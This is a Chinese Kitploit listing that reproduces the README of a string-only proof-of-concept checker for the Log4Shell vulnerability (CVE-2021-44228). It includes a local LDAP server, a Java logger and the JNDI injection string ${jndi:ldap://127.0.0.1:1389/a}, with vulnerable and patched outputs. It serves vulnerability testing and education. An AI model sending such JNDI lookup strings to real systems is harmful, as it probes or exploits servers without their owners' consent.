Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-44228 — 漏洞 CVE-2021-44228 检查器 | Kitploit
工具/GitHubGitHub/greymd/cve-2021-44228
漏洞分析漏洞利用渗透测试学习与教育实验室与实践
GitHubgreymd/cve-2021-44228

CVE-2021-44228

漏洞 CVE-2021-44228 检查器

查看仓库
354144年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-44228 检查器

这是用于检查漏洞 CVE-2021-44228 的仓库。

这是一个仅显示字符串的PoC,不涉及任何外部类加载。它不能用于任意代码执行。

它是如何工作的?

步骤 1: 运行服务器应用

镜像 ghcr.io/greymd/cve-2021-44228/server 可用,并且可以在Docker上运行。

$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server

步骤 2: 使用log4j访问端点

准备使用log4j输出日志的代码,并在同一主机上运行。 使输出字符串为 ${jndi:ldap://127.0.0.1:1389/a}。

package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

如果参数是引发漏洞的字符串,短语「うんこもりもり」(意为“一堆屎”)将被成功记录。

17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

如果你懒得编写和构建代码,你可以使用此仓库中的一个简单的logger应用程序。 第一个参数将由Logger输出。

$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello

给出一个导致漏洞的参数的示例如下。

$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

如果你拥有不受漏洞影响的log4j版本,或者服务器应用没有运行,字符串将原样输出,不做任何修改。你可以通过如下所示更新logger应用的版本来验证这一点。

$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}

在没有Docker的情况下运行服务器应用

$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...

动机

正如我提到的(并且据我调查),除非JNDI的目标服务器正在运行,否则此漏洞无法重现。因此,一个简单的PoC是很有用的。

参考

实现中参考了以下URL:

  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/mbechler/marshalsec
  • https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  • https://github.com/apache/logging-log4j2/pull/608
  • https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept

测试过的版本

  • OpenJDK Runtime Environment (build 1.8.0_302-b08)
  • OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)
  • OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)
下载工具